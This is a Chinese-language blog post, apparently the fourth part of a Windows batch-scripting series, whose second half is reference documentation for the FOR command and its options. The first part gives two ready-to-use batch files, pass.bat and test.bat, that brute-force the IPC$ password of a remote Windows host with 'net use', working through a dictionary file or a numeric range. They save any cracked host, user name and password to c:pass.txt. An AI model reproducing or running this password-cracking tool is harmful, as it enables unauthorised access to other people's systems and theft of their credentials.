`

Windows批处理功能配合脚本还是很强大的!(续)

 
阅读更多
Windows批处理功能配合脚本还是很强大的!(4):

http://blog.chinaunix.net/article.php?articleId=60686&blogId=11648

Windows批处理功能配合脚本还是很强大的!(4)


这个是最后一章了~ 基本上学会这些就很不错了~


A ZA A ZA Fighting !!!!!


将下列代码存为bat文件

1、如果用字典破解:pass.bat 字典文件路径及名称 主机 用户名

2、如果用数字破解:pass.bat 起始数 步长 结束数 主机 用户名

密码破解出来之后,存放于c:pass.txt文件里面。

将下列代码存为pass.bat文件

@echo off

echo ------------------------------------------------------------------- >>c:pass.txt

echo ------------------------------------------------------------------- >>c:pass.txt

date /t >>c:pass.txt

time /t >>c:pass.txt

echo 破解结果: >>c:pass.txt

if "%6"=="1" goto 大棒槌是我的说2

:大棒槌是我的说1

start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3

goto quit

:大棒槌是我的说2

start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5

:quit

将下列代码存为test.bat

net use /%1ipc$ %2 /user:"%3"

goto answer%ERRORLEVEL%

rem %ERRORLEVEL%表示取前一命令执行返回结果,net use成功返回0,失败返回2

:answer0

echo 远程主机:"%1" >>c:pass.txt

echo 用 户:"%3" >>c:pass.txt

echo 密 码:%2 >>c:pass.txt

net use /%1ipc$ /delet

exit

:answer2


For

对一组文件中的每个文件运行指定的命令。


可以在批处理程序中或直接从命令提示符使用 for 命令。


要在批处理程序中使用 for 命令,请使用以下语法:


for %%variable in (set) docommand [command-parameters]


要在命令提示符下使用 for,请使用以下语法:


for %variable in (set) do command [command-parameters]


参数

%%variable 或 %variable


代表可替换的参数。for 命令使用在 set 中指定的每个文本字符串替换 %%variable(或 %variable),直到此命令(在 command-parameters 中指定)处理所有的文件为止。使用 %% variable 在批处理程序中执行 for 命令。使用 % variable 通过命令提示符执行 for 命令。变量名区分大小写。


(set)

指定要用指定的命令处理的一个或多个文件或文本字符串。需要括号。


command


指定要在指定的 set 所包含的每个文件上执行的命令。


command-parameters


指定要用于指定命令(如果指定的命令要使用任何参数或开关)的任何参数或开关。


如果启用了命令扩展(Windows 2000 中的默认设置),将支持 for 命令的其他形式。

For 命令的其他形式

如果启用了命令扩展,将支持如下 for 命令的其他格式:


只限于目录

for /D [%% | %]variable in (set) docommand [command-parameters]


如果 set 包含通配符(* 和 ?),则指定与目录名匹配,而不是文件名。


递归

for /R [[drive :]path] [%% | %]variable in (set) docommand [command-parameters]

进入根目录树[drive:]path,在树的每个目录中执行 for 语句。如果在 /R 后没有指定目录,则假定为当前目录。如果 set 只是一个句号 (.) 字符,则只列举目录树。

迭代


for /L [%% | %]variable in (start,step,end) do command [command-parameters]


集合是一系列按步长量划分的、从头到尾的数字。这样,(1,1,5) 将生成序列 1 2 3 4 5,而 (5,-1,1) 将生成序列 (5 4 3 2 1)。


文件解析


for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]


for /F ["options"] [%% | %]variable in ("literal string") do command[command-parameters]


for /F ["options"] [%% | %]variable in ('command') do command [command-parameters]


或者,如果出现 usebackq 选项:


for /F ["options"] [%% | %]variable in (filenameset) do command [command-parameters]


for /F ["options"] [%% | %]variable in ('literal string') do command [command-parameters]


for /F ["options"] [%% | %]variable in (`command`) docommand [command-parameters]


filenameset 参数指定一个或多个文件名称。在继续到 filenameset 中的下一个文件之前,每个文件都会被打开、读取和处理。

过程由读取文件、分成独立的文本行及然后将每行解析成零个或更多个令牌组成。然后使用设置为找到的一个或多个令牌字符串的变量值(或多个值)集合调用 for 循环体。默认情况下,/F 传递每个文件每一行的第一个空白分隔符号。


跳过空行。通过指定可选的“options”参数可以覆盖默认的解析行为。这是一个引用字符串,它包含一个或多个关键字以指定不同的解析选项。关键字是:


关键字 说明

eol=c 指定行尾注释字符(只一个字符)

skip=n 指定在文件的开头跳过的行数。

delims=xxx 指定定界符集合。这将替换空格和制表符的默认分隔符集。

tokens=x,y,m-n 指定将令牌从每行传递到每个反复的正文。这将导致分配其他变量名。m-n 格式是一个范围,指定从 mth 到 nth 的令牌。如果在令牌 = 字符串中最后一个字符是星号,则将分配附加的变量,并在解析最后一个令牌后在行上接收剩余的文本。

usebackq 指定将右引号字符串作为命令执行,单引号字符串是文字字符串命令,您可以使用双引号包括 filenameset 中的文件名。


变量替换

此外,已经增强了 for 变量引用的替换修改程序。现在可以使用下列可选的语法(对于任何变量 I):


变量(使用修改程序) 说明

%~I 展开删除了周围的任何引号 (") 的 %I

%~fI 将 %I 展开到完全合格的路径名

%~dI 只将 %I 展开到驱动器号

%~pI 只将 %I 展开到路径

%~nI 只将 %I 展开到文件名

%~xI 只将 %I 展开到文件扩展名

%~sI 展开路径以只包含短名称

%~aI 将 %I 展开到文件的文件属性

%~tI 将 %I 展开到文件的日期/时间

%~zI 将 %I 展开到文件大小

%~$PATH:I 搜索 PATH 环境变量所列出的目录,并将 %I 展开开到第一个找到结果的全部合格名称。如果没有定义环境变量名,或搜索后没有找到文件,则此修改程序将扩展为空字符串。


修改程序可以合并以获得复杂的结果:

变量(使用合并的修改程序) 说明

%~dpI 只将 %I 展开到驱动器号和路径

%~nxI 只将 %I 展开到文件名和扩展名

%~fsI 将 %I 展开到只包含短名称的完整路径名

%~dp$PATH:I 在 PATH 环境变量所列出的目录中搜索 %I,并展开到第一个找到结果的驱动器号和路径

%~ftzaI 将 %I 扩展到与 dir 相似的输出行

注意

在上述范例中,%I 和 PATH 可被其他有效值替换。通过有效的 for 变量名终止 %~ 语法。

使用大写变量名(例如 %I)可以使代码更具可读性,并且避免与不区分大小写的修改程序混淆


分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics